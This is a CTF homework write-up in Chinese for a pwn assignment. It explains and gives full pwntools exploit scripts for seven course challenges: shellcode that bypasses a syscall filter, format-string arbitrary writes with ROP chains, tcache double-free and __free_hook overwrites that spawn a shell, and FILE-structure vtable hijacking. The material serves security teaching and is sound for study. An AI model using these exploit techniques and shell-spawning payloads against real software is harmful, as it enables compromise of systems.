###### tags: `Computer Security` # HW0x04 Writeup (Pwn) [TOC] ## 1. sandbox 題目會讀取我們傳送的Shellcode並執行,但在執行前會檢查是否含有syscall和call register的pattern,而提示有說要的東西其實題目已經給我們了 先塞一些nop給server,看看執行的情況: 其實當初用了一陣子才知道call rax這邊可以step in進去 就可以看到自己的shellcode,下面source code箭頭指的位置會混淆XD ![](https://i.imgur.com/9tS2lzT.png) 發現syscall,但是執行之前被塞了exit(3c=60, 對應exit) ![](https://i.imgur.com/HKl6Oku.png) 所以目標是要跳過前面塞3c的地方,在syscall之前塞59(execve),然後跳過去 用pwntools給的shellcraft來改: ```asm= push 0x68; mov rax, 0x732f2f2f6e69622f; push rax; mov rdi, rsp; push 0x1010101 ^ 0x6873; xor dword ptr [rsp], 0x1010101; xor esi, esi; push rsi; push 8; pop rsi; add rsi, rsp; push rsi; <---- this will crash mov rsi, rsp; xor edx, edx; push SYS_execve; pop rax; syscall; ``` 把裡面的syscall換成```jmp $+X```就可以跳過原本放0x3c那行,算一下X要多少才能跳到後面syscall 實際執行時發現12行的push rsi會crash,不太確定原因,不過就先刪掉 目標是要算X跳過0x3c那行到syscall去 ![](https://i.imgur.com/XYv1rZP.png) 隨便設個X看看執行情形,可以知道X應該要代9: ![](https://i.imgur.com/ndY1IeN.png) 所以最後把```syscall```換成```jmp $+9```就可以了 ![](https://i.imgur.com/ybILV1s.png) ### exploit: :::spoiler ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] #r = process("./sandbox") r = remote("edu-ctf.zoolab.org", 30202) shell = asm(''' push 0x68; mov rax, 0x732f2f2f6e69622f; push rax; mov rdi, rsp; push 0x1010101 ^ 0x6873; xor dword ptr [rsp], 0x1010101; xor esi, esi; push rsi; push 8; pop rsi; add rsi, rsp; mov rsi, rsp; xor edx, edx; push SYS_execve; pop rax; jmp $+9; ''') #gdb.attach(r) r.send(shell) r.interactive() ``` ::: :::success :triangular_flag_on_post: FLAG{It_is_a_bad_sandbox} ::: #### 追記 本來查了一些用xor、運算之類的方法繞過檢查syscall的payload結果進去都是crash,後來覺得應該只是當初需要改一下裡面的內容之類的就能動了(吧)。後來得知shellcode後面就有syscall,就直接用了 --- ## 2. fullchain 詢問助教後發現自己的方式不是intended solution,但前半段的手法基本上跟預期解差不多 source這邊有個漏洞,可以利用這邊的```printf```回寫 ```c= void mywrite(char *addr) { printf(addr); } ``` chal()這裡也有地方可以利用,後面的```strcmp()```最多只會看五個字,而local可以寫到10個字,所以可以在字串後頭多塞東西 ```c= printf("set, read or write > "); scanf("%10s", local); if (!strncmp("set", local, 3)) myset(ptr); else if (!strncmp("read", local, 4)) myread(ptr); else if (!strncmp("write", local, 5)) mywrite(ptr); else exit(1); ``` 提示說一開始需要先把cnt改大,所以需要先知道cnt的address,然後再利用剩下的次數回寫cnt的值 ![](https://i.imgur.com/IPbNNzu.png) 設斷點後配著gdb看再計算一下可以知道cnt的位置,我是用```write%7$p```來讀,然後再扣掉```0xc``` 如果要改cnt的值,就需要把cnt的address寫到stack上,而```myread()```會讀24個字,可以利用這點把Address寫到之後操作不會被蓋掉的地方 ```c= void myread(char *addr) { scanf("%24s", addr); } ``` 在```mywrite()```的printf前設斷點看stack的狀態會知道剛剛寫的address在`rsp+0x50`的地方,所以是(rsp)6+0x50/8=第16個參數 所以第三次執行時輸入```write%16$n```就可以在符合local 10個字限制的條件下寫掉cnt的值,而cnt的值因為write五個字,所以會被寫成5 ![](https://i.imgur.com/uIzuoSD.png) 改成5後,可以配合global,利用這5次把cnt寫到更大。 一樣的手法可以接著把global的address leak出來,然後從而推算出想要利用的東西的address。我利用到的有: * exit@got * main()的return * puts@got * printf@got 原先是照著提示,利用把`exit@got`寫成main的return來bypass(不過最後好像沒有使用到的樣子)。leak `printf@got`則是為了把libc的位址leak出來。 (從這裡開始算是非預期解) 因為可以利用fmt任意寫,而global變數後面是空的,所以我把ROP chain堆在那裏(假設叫ROP A),希望可以讓程式在某個階段跳轉過去。但為了觸發跳轉,需要再寫一個ROP到stack裡。 利用(1)fmt任意寫 (2)知道cnt位置這兩個特性,可以在stack內找一塊空出來的地方,把**跳轉到讀flag的ROP**的ROP(假設叫ROP B)寫在上面。 那觸發跳轉的ROP需要寫什麼呢? libc內有`add rsp, 0x?? ; ret` 這種gadget可以使用,把`puts@got`的address改成這種gadget,到`myset`觸發`puts()`時轉到ROP B,然後ROP B就可以跳轉到ROP A,進而讀flag。 附上圖解,其中紅色的empty space是ROP B,藍色則是global變數後的空地,把ROP A寫到這裡。 ![](https://i.imgur.com/XLLm1EX.png) 這種方法的問題有幾個: * `add rsp, 0x?? ; ret` 這種gadget不是每種數值都有 * stack內空間有限 * 就算stack內有空間,`add rsp, 0x??`的值也必須配合才行 empty space不一定要在`chal()`內,主要是上面的三點問題需要有辦法解決,而這題剛好可以滿足這些條件。事實上我把ROP B寫到了main的stack底下。 整個流程如下: * find a suitable ?? for `add rsp, 0x?? ; ret` gadget * write ROP B to a corresponding empty space inside stack * overwrite `puts@got` to the gadget * execute `puts()` to trigger gadget,jump to ROP B * ROP B jumps to ROP A * read flag ### exploit: :::spoiler ```python= from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] context.encoding = 'ASCII' libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so') r = process("./fullchain") #r = remote('edu-ctf.zoolab.org', 30201) def write_byte(content, target_addr, byte): for i in range(byte): pl = content[i] if pl == 0: continue payload = "%" + str(pl) + "c%16$hhn" r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "read") r.sendline(payload) r.sendlineafter("global or local > ", "local") r.sendlineafter("set, read or write > ", "read") r.sendline(b"A"*16+(target_addr+i).to_bytes(8, byteorder="little")) r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "write") def write(content, target_addr, byte): for i in range(byte): #print(i) if i == 0 : # first byte r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "read") pl = int(hex(content)[-2:], base=16) payload = "%" + str(pl) + "c%16$hhn" r.sendline(payload) r.sendlineafter("global or local > ", "local") r.sendlineafter("set, read or write > ", "read") r.sendline(b"A"*16+target_addr.to_bytes(8, byteorder="little")) r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "write") else: r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "read") pl = int(hex(content)[-2*i-2:-2*i], base=16) payload = "%" + str(pl) + "c%16$hhn" r.sendline(payload) r.sendlineafter("global or local > ", "local") r.sendlineafter("set, read or write > ", "read") r.sendline(b"A"*16+(target_addr+i).to_bytes(8, byteorder="little")) r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "write") r.sendlineafter("global or local > ", "local") r.sendlineafter("set, read or write > ", "write%7$p") r.recvuntil("write") cnt = int(r.recv(14).decode(), base=16) - 0xc info(f"cnt: {hex(cnt)}") # change cnt to 5 r.sendlineafter("global or local > ", "local") r.sendlineafter("set, read or write > ", "read") r.sendline(b"A"*16+cnt.to_bytes(8, byteorder="little")) r.sendlineafter("global or local > ", "local") r.sendlineafter("set, read or write > ", "write%16$n") # change cnt to 2000 r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "read") r.sendline(b"%2000c%16$hn") r.sendlineafter("global or local > ", "local") r.sendlineafter("set, read or write > ", "read") r.sendline(b"A"*16+cnt.to_bytes(8, byteorder="little")) r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "write") #leak global address (same address base as exit@got) r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "read") r.sendline(b"%7$p") r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "write") global_addr = int(r.recv(14).decode(), base=16) info(f"global_addr: {hex(global_addr)}") exit_got = global_addr - 0x40 info(f"exit_got: {hex(exit_got)}") puts_got = global_addr - 0x80 info(f"puts_got: {hex(puts_got)}") printf_addr = global_addr - 0x68 info(f"printf_addr: {hex(printf_addr)}") #try to read printf addr to get libc address r.sendlineafter("global or local > ", "local") r.sendlineafter("set, read or write > ", "read") r.sendline(b"A"*16+printf_addr.to_bytes(8, byteorder="little")) r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "read") r.sendline(b"%16$s") r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "write") libc.address = u64(r.recv(6).ljust(8, b'\x00')) - libc.sym['printf'] info(f"libc_addr : {hex(libc.address)}") close_addr = libc.sym['close'] info(f"close_addr : {hex(close_addr)}") main_ret_addr = global_addr - 0x28b5 info(f"main_ret_addr : {hex(main_ret_addr)}") # write exit@got to main ret addr write(content = main_ret_addr, target_addr = exit_got, byte=6) fn = global_addr new_stack_addr = global_addr + 0x80 ### libc gadget pop_rbp_ret = libc.address + 0x256c0 # pop rbp ; ret pop_rdi_ret = libc.address + 0x26b72 # pop rdi ; ret pop_rsi_ret = libc.address + 0x27529 # pop rsi ; ret pop_rdx_r12_ret = libc.address + 0x11c371 # pop rdx ; pop r12 ; ret pop_rax_ret = libc.address + 0x4a550 # pop rax ; ret syscall_ret = libc.address + 0x66229 # syscall ; ret leave_ret = libc.address + 0x5aa48 # leave ; ret add_rsp_0x98_ret = libc.address + 0x27272 # add rsp, 0x98, ret; rop_trigger_addr = cnt + 0x4c info(f"rop_trigger_gadget: {hex(rop_trigger_addr)}") # open("/home/rop2win/flag", 0) 0: readonly # syscall number of open: 2 (rax) # https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md # read(3, fn, 0x30)N # syscall number of read: 0 (rax) # 0: std_in, 1: std_out, 2: std_error #3 from file # write(1, fn, 0x30) <- 1: write to std_out # syscall number of write: 1 (rax) ROP_trigger = flat( pop_rbp_ret, global_addr + 0x80 - 8, leave_ret, ) write(content = add_rsp_0x98_ret, target_addr = puts_got, byte=6) write_byte(ROP_trigger, rop_trigger_addr, len(ROP_trigger)) ROP = flat( pop_rdi_ret, fn, pop_rsi_ret, 0, pop_rax_ret, 2, syscall_ret, pop_rdi_ret, 3, pop_rsi_ret, fn, pop_rdx_r12_ret, 0x30, 0, pop_rax_ret, 0, syscall_ret, pop_rdi_ret, 1, pop_rax_ret, 1, syscall_ret, ) write_byte(ROP, global_addr+0x80, len(ROP)) r.sendlineafter("global or local > ", "global") r.sendlineafter("set, read or write > ", "read") r.sendline(b"/home/fullchain/flag") r.sendlineafter("global or local > ", "local") r.sendlineafter("set, read or write > ", "set") r.sendlineafter("data > ", "100") r.sendlineafter("length > ", "100") #gdb.attach(r) r.interactive() ``` ::: :::success :triangular_flag_on_post: FLAG{Emperor_time} ::: --- ## 3. fullchain-nerf 基本上完全能用`fullchain`這題的方式做,實際上只是把fmt參數、offset位置,還有`add rsp gadget`改一改就能用了。`myset()`被拔掉了但`myread()`裡還是有`puts()`所以沒有差 實際上從提示上來看這題有更簡單方便的解法,但時間關係直接拿上一題的exploit來改還是比較快XD :::success :triangular_flag_on_post: FLAG{fullchain_so_e4sy} ::: --- ## 4. final 因為easyheap的解法跟這邊的method 3差不多,所以這邊寫method 1 首先,第一個被丟到unsorted bin的chunk會指向main arena,又因為source中name是用read來讀,可以不需要用\x00 結尾,所以只要剛好把name寫到libc的位置前,就可以一併把libc印出來 ![](https://i.imgur.com/DF4h2IE.png) UAF則可以leak出tcache的fd,此題animals[1]是tcache的頭,所以fd會指向heap。 ![](https://i.imgur.com/TlwsPv7.png) 這個時候後的bin情形如圖,而animals[0]的位置是`~b40`: ![](https://i.imgur.com/impAv4n.png) 這時只要再buy一個name的chunk size為0x30的animal,這個name就會與animals[0]的位置相同,所以可以藉由寫animals[1]的name來控制animals[0] 在此寫入system和/bin/sh,呼叫animals[0]時就會get shell。 ```python= # # - type: b'/bin/sh\x00' + b'A'*0x8 # - len: 0xdeadbeef # - name: 0xdeadbeef # - bark: system buy(1, 0x28, b'/bin/sh\x00' + b'A'*0x8 + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(_system)) # 3. get shell play(0) ``` :::success :triangular_flag_on_post: FLAG{do_u_like_heap?} ::: ### Reference: 1. https://hackmd.io/@u1f383/pwn-cheatsheet (助教的cheatsheet XD) --- ## 5. easyheap ### (1) leak libc and heap address: 由Reference#1的malloc過程: * 合併(consolidate) fastbin : * (若 size 符合 large bin 或前項失敗)呼叫 malloc_consolidate 進行 fastbin 的合併(取消下一 chunk 的 PREV_INUSE),並將合併的 bin 歸入 unsorted * 處理 unsorted bin : * 若 unsorted bin 中只有 last_remainder 且大小足夠,分割 last_remainder 並return chunk。剩下的空間則成為新的 last_remainder * loop 每個 unsorted bin chunk,若大小剛好則 return,否則將此 chunk 放至對應 size 的 bin 中。此過程直到 unsorted bin 為空或 loop 10000次為止 * 在 small / large bin 找 best fit,若成功則 return 分割的 chunk,剩下的放入 unsorted bin(成為 last_remainder);若無,則繼續 loop unsorted bin,直到其為空 讓tcache塞滿,再delete一塊0x80的chunk 此時struct本身(0x30),name(0x80)兩個chunk會被丟到fastbin 接著要一塊0x420的chunk,就會觸發malloc的consolidation,把fastbin的兩個chunk merge並放到unsorted bin,接著malloc會把合併的chunk放到對應size的bin(smallbin,size為0xb0),因為smallbin內只有一個,所以fd 和 bk會是libc的位置,而其他Book則洩漏了heap的位置。 會發現地址會出現在Index上 ![](https://i.imgur.com/5aPeq25.png) 這時可以用vmmap算一下offset,得到libc和heap的地址 ### (2) exploit 可以發現books[1]的name跟books[0]整個結構的位置相同 ![](https://i.imgur.com/LGi94qJ.png) 此時的bins情況如圖所示,目標是要操控0x30尾巴的兩個chunk ![](https://i.imgur.com/zp5oKLj.png) 先整理一下tcache,塞一些dummy讓他剩下尾巴的幾個 這裡我塞了兩個name為0x20的book,包含Book本身會需要4個0x30的chunk ![](https://i.imgur.com/UbELyz9.png) 接著再加一個name為0x20的book(Books[12]),這本book的name會要到`~350`這個chunk,也就是原本Books[1]指的位置,這裡先把name指定為`heap+0x2a0`,原因後述 ```c= books[idx] = (Book *) malloc(sizeof(Book)); books[idx]->name = malloc(namelen); ``` 要bypass double free的保護機制,可以藉由修改Books[1]的name來達成,而因為 (1)Books[12]的name位置會跟Book[1]一樣 (2)修改Books[1]時會去找books[1]->name 所以上面新增Books[12]時name需要指定為`heap+0x2a0`,才會access到我們想要的memory 可以藉由修改Books[1]的name來bypass是因為Books[1]的name跟Books[0]結構一樣, 改名字時可以蓋掉tcache中的key 蓋掉之後: ![](https://i.imgur.com/WGrM7dd.png) 接下來就可以delete Books[1]了,再看一次Books[1]的位置: ![](https://i.imgur.com/wQiJuhj.png) tcache entry中的`~2a0`的key已經被改掉了,所以這邊就可以繞掉檢查 delete後: ![](https://i.imgur.com/N2pKuiI.png) 可以注意到0x30裡面有兩個`~2a0`了,表示double free成功。但因為delete book除了name以外還會free struct本身,所以tcache`0x30`內從1個變成3個 但我們只要最後兩個`~2a0`而已,所以再塞一個dummy,這時要保留0x30的chunk,所以在此name len用0x80的 ![](https://i.imgur.com/tVdpP1R.png) 到這邊就差不多了。edit Books[0],把名字改成free hook ![](https://i.imgur.com/0BGoEH4.png) 再add一次name的chunk size是0x30的Books時,這本Book的name就會要到hook的位置,就在上面寫system ![](https://i.imgur.com/ATDxpu2.png) 然後delete他,free name時就會觸發hook,成功get shell :tada: ### exploit: :::spoiler ```pyhon= #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] context.encoding = 'ASCII' #r = process('./easyheap') r = remote('edu-ctf.zoolab.org', 30211) def add(idx, namelen, name, price): r.sendlineafter("> ", '1') r.sendlineafter('Index: ', str(idx)) r.sendlineafter('Length of name: ', str(namelen)) r.sendlineafter('Name: ', name) r.sendlineafter('Price: ', str(price)) def delete(idx): r.sendlineafter("> ", '2') r.sendlineafter("Which book do you want to delete: ", str(idx)) def find(idx): r.sendlineafter("> ", '5') r.sendlineafter("Index: ", str(idx)) def edit(idx, name, price): r.sendlineafter("> ", '3') r.sendlineafter("Which book do you want to edit: ", str(idx)) r.sendlineafter('Name: ', name) r.sendlineafter('Price: ', str(price)) def list(): r.sendlineafter("> ", '4') #r.recvuntil("> ") ##########################LEAK LIBC AND HEAP ADDRESS############################# for i in range(7): add(i, 0x70, 'dum', i) add(7, 0x70, 'AAA', 777) add(8, 0x70, 'BBB', 888) for i in range(7): delete(i) delete(7) add(9, 0x410, 'DDD', 10) delete(8) list() r.recvuntil("--------------------") r.recvuntil("--------------------") r.recvuntil("--------------------") r.recvuntil("--------------------") r.recvuntil("--------------------") r.recvuntil("--------------------") r.recvuntil("--------------------") r.recvuntil("--------------------") r.recvuntil("Index:\t") libc = int(r.recvline().decode()) - 0x1ebc80 info(f"libc: {hex(libc)}") _system = libc + 0x55410 __free_hook = libc + 0x1eeb28 one_shot = libc + 0xe6c84 binsh = libc + 0x1b75aa r.recvuntil("--------------------") r.recvuntil("Index:\t") heap = int(r.recvline().decode()) - 0x10 info(f"heap: {hex(heap)}") r.recvuntil("--- happy bookstore ---") #############################EXPLOIT################################## add(10, 0x20, 'dummy', 11) add(11, 0x20, 'dummy', 12) add(12, 0x20, p64(heap+0x2a0), 11) edit(1, "A"*16, 10000) delete(1) add(13, 0x70, 'dummy', 12) edit(0, p64(__free_hook - 8), 999) add(14, 0x20, b'/bin/sh\x00' + p64(_system), 999) delete(14) #gdb.attach(r) r.interactive() ``` ::: :::success :triangular_flag_on_post: FLAG{to_easy...} (是不是拼錯) ::: ### Reference: 1. https://hackmd.io/@sysprog/c-memory?type=view#glibc-%E7%9A%84-mallocfree-%E5%AF%A6%E4%BD%9C #### 追記 感謝助教一步一步帶我搞懂final那題的整個流程,搞懂之後就比較了解該怎麼做這題了。可是還是覺得沒有很easy QQ 因為下一題beeftalk用來leak heap和libc的方法差不多,可能這題有更簡單的leak方法只是我沒用到(吧) --- ## 6. beeftalk 這題我純粹用建立/刪除user的bug來做exploit leak出heap和libc address的方法跟上一題基本上一樣。塞滿tcache,想辦法讓他塞chunk到smallbins裡就可以了。user struct的有不少屬性,所以處理起來有一點亂就是。但幾乎都是利用名字長度可控這點來做的。 leak完需要的資訊後,可以發現有一個user的名字的位置(users[0])跟某位user(users[6])整個結構的位置是一樣的,那就可以利用更新users[0]的名字來寫users[6]。 ![](https://i.imgur.com/7aUddv1.png) 觀察一下users這個struct: ![](https://i.imgur.com/48VZW4z.png) 圖解: ![](https://i.imgur.com/ZSshGni.png) 這裡的目標是藉由delete users[6]觸發free hoook來get shell。 在free user時,同時也會free掉desc, job之類的指到的位置,所以在利用改寫`users[0]->name`來更改`users[6]`的時候,必須要寫一些有意義的address,才不會在delete `users[6]`時噴Error,另外如果要delete `users[6]`必須要有辦法登入才行,所以token的值也需要設定好。 整個exploit的流程如下: 1. update `users[0]->name`,把`users[6]->desc`的位置改成`free hook -8` 2. 登入users[6]並update,把desc改成`b'/bin/sh\x00' + p64(_system)` 3. delete `users[6]`,使他在free desc時觸發free hook 4. get shell ### exploit: :::spoiler ```python= #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] context.encoding = 'ASCII' r = process('./beeftalk') #r = remote('edu-ctf.zoolab.org', 30207) def signup(name, desc, job, asset): r.sendlineafter("> ", '2') #max 0x100 r.sendlineafter("What's your name ?\n> ", name) #0x40 r.sendlineafter("What's your desc ?\n> ", desc) #0x10 r.sendlineafter("What's your job ?\n> ", job) r.sendlineafter("How much money do you have ?\n> ", str(asset)) r.sendlineafter("Is correct ?\n(y/n) > ", "y") r.recvuntil("Done! This is your login token: ") token = r.recvline().decode().strip('\n') return token def login(token): r.sendlineafter("> ", '1') r.sendlineafter("Give me your token: \n> ", token) def delete_account(token): r.sendlineafter("> ", '3') r.sendlineafter("Are you sure ?\n(y/n) > ", 'y') def logout(token): r.sendlineafter("> ", '4') def update(token, name, desc, job, asset): r.sendlineafter("> ", '1') r.sendlineafter("Name: \n> ", name) r.sendlineafter("Desc: \n> ", desc) r.sendlineafter("Job: \n> ", job) r.sendlineafter("Money: \n> ", str(asset)) dummy0_token = signup("A"*0x80, "dummy", "dummy", 1) info(f"dummy0_token: {dummy0_token}") dummy1_token = signup("B"*0x80, "dummy", "dummy", 1) info(f"dummy1_token: {dummy1_token}") dummy2_token = signup("C"*0x80, "dummy", "dummy", 1) info(f"dummy2_token: {dummy2_token}") dummy3_token = signup("D"*0x80, "dummy", "dummy", 1) info(f"dummy3_token: {dummy3_token}") dummy4_token = signup("E"*0x80, "dummy", "dummy", 1) info(f"dummy4_token: {dummy4_token}") dummy5_token = signup("F"*0x80, "dummy", "dummy", 1) info(f"dummy5_token: {dummy5_token}") dummy6_token = signup("G"*0x80, "dummy", "dummy", 1) info(f"dummy6_token: {dummy6_token}") dummy7_token = signup("H"*0x80, "dummy", "dummy", 1) info(f"dummy7_token: {dummy7_token}") login(dummy0_token) delete_account(dummy0_token) login(dummy1_token) delete_account(dummy1_token) login(dummy2_token) delete_account(dummy2_token) login(dummy3_token) delete_account(dummy3_token) login(dummy4_token) delete_account(dummy4_token) login(dummy5_token) delete_account(dummy5_token) login(dummy6_token) delete_account(dummy6_token) login(dummy7_token) delete_account(dummy7_token) dummy8_token = signup("I"*0x60, "dummy", "dummy", 1) info(f"dummy8_token: {dummy8_token}") info(f"dummy0_token: expired.") login(dummy1_token) r.recvuntil("Hello ") heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x2a0 info(f"heap: {hex(heap)}") logout(dummy1_token) login(dummy3_token) r.recvuntil("Hello ") libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebc10 info(f"libc: {hex(libc)}") logout(dummy3_token) _system = libc + 0x55410 __free_hook = libc + 0x1eeb28 one_shot = libc + 0xe6c84 binsh = libc + 0x1b75aa ############################################################# #user struct #name pointer desc pointer #job pointer pipe_name pointer #fifo0 pointer fifo1 pointer #namelen token value #asset login(dummy8_token) update(dummy8_token, name = p64(heap+0x880)+p64(__free_hook - 8)+ p64(heap+0x880)+p64(0x0)+ p64(0x0)+p64(0x0)+ p64(0x10)+p64(int(dummy6_token, base=16)), desc='dummy', job='dummy', asset=1) logout(dummy8_token) login(dummy6_token) update(dummy6_token, name = b'dummy', desc=b'/bin/sh\x00' + p64(_system), job='dummy', asset=1) delete_account(dummy6_token) #gdb.attach(r) r.interactive() ``` ::: :::success :triangular_flag_on_post: FLAG{beeeeeeOwO} ::: #### 追記 一打開source code發現350行有點嚇到直接先略過不看XD 幸好似乎沒有想像中難 --- ## 7. FILE note 在做任何利用前必須先leak出libc才有辦法做,從提示和各參考資料得知,如果讓他進入 `_IO_POS_BAD`這裡的話,程式就會輸出`[_IO_write_base,_IO_write_ptr]`間的所有數據,將輸出將FILE的flags那行設成`fbad1800`的話就可以leak出來,再經過計算就可以得到libc base。 (事實上直接google`0xfbad1800`或`0xfbad1887`也能看到蠻多leak libc的資料) ![](https://i.imgur.com/xSNYK5g.png) 接下來的目標是利用fwrite將one gadget寫到vtable中的一個pointer,讓他在call該function()時變成開shell。 那問題就是該如何利用fwrite做任意寫了,由Reference#3: ```c= else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr; if (count > 0) { 把data複製到buffer } ``` ``` fwrite的任意寫是基於_IO_new_file_xsputn中將數據複製到buffer這一功能實現的。 所以我們只要構造 _IO_write_ptr為write_s, _IO_write_end為write_e, 自然就滿足了if的條件,這樣就達到了任意寫的目的。 ``` 實際上蓋完大概會長這個樣子,配著memory layout對照,`~4c8`會是fwrite複製data存到的起點,而`~4d0`是終點。 ![](https://i.imgur.com/Nws0nFC.png) ![](https://i.imgur.com/09EAYzi.png) 最後還有一個問題是應該要挑vtable裡的哪個function以及one gadget要用哪一個,這部分我沒什麼特別的好方法,就把每種組合都試試看,最後發現`_IO_default_uflow(_IO_file_jumps+0x28`配上`r15, rdx==NULL constraint`的one gadget可以work ![](https://i.imgur.com/r7e7Jsb.png) 實際跑remote的時候發現leak出來的libc base怪怪的...不過多save_note幾次出來的值就正常了,~~老實說我不知道為什麼~~ ### exploit: :::spoiler ```python= #!/usr/bin/python3 from pwn import * import sys context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] context.encoding = 'ASCII' l = ELF('./libc.so.6') r = process('./chal') #r = remote('edu-ctf.zoolab.org',30218) r.sendlineafter("> ", "1") flags_IO_CURRENTLY_PUTTING = 0x0800 flags_IO_IS_APPENDING = 0x1000 r.sendlineafter("> ", "2") r.sendlineafter("data> ", b"A"*0x200 + p64(0) + p64(0x1e1) + p64(0)*14 + p64(1)) r.sendlineafter("> ", "3") r.sendlineafter("> ", "2") r.sendlineafter("data> ", b"A"*0x200 + p64(0) + p64(0x1e1)+ p64(0xfbad1800) + p64(0)*3) r.sendlineafter("> ", "3") # uncomment for remote # r.sendlineafter("> ", "3") # r.sendlineafter("> ", "3") # r.sendlineafter("> ", "3") # r.sendlineafter("> ", "3") # r.sendlineafter("> ", "3") # r.sendlineafter("> ", "3") # r.sendlineafter("> ", "3") r.recv(0x80) libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecf60 _IO_FILE_jumps = libc + l.sym['_IO_file_jumps'] info(f"libc: {hex(libc)}") info(f"_IO_FILE_jumps: {hex(_IO_FILE_jumps)}") one_gadget = libc + 0xe6c81 #one_gadget libc.so.6 #one_gadget = libc + 0xe6c81 #one_gadget libc.so.6 #one_gadget = libc + 0xe6c84 #one_gadget libc.so.6 info(f"one_gadget: {hex(one_gadget)}") w_payload = flat( 0, 0, 0, _IO_FILE_jumps + 0x28, _IO_FILE_jumps + 0x30, 0, 0, 0, 0, 0, 0, 0, 0) r.sendlineafter("> ", "2") r.sendlineafter("data> ", b"A"*0x200 + p64(0) + p64(0x1e1) + p64(0xfbad2000) + p64(0) + w_payload) r.sendlineafter("> ", "2") r.sendlineafter("data> ", p64(one_gadget)) #gdb.attach(r) r.sendlineafter("> ", "3") ''' execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL ''' r.interactive() ``` ::: :::success :triangular_flag_on_post: FLAG{f1l3n073_15_b3773r_7h4n_h34pn073} ::: ### Reference: 1. https://www.cjovi.icu/pwnreview/1171.html 2. https://n0va-scy.github.io/2019/09/21/IO_FILE/ 3. https://www.anquanke.com/post/id/194577 4. https://tttang.com/archive/1279/ #### 追記 最後發現跑remote libc位置不對好像有點矇到XD 如果沒延期的話這題一定來不及做完QQ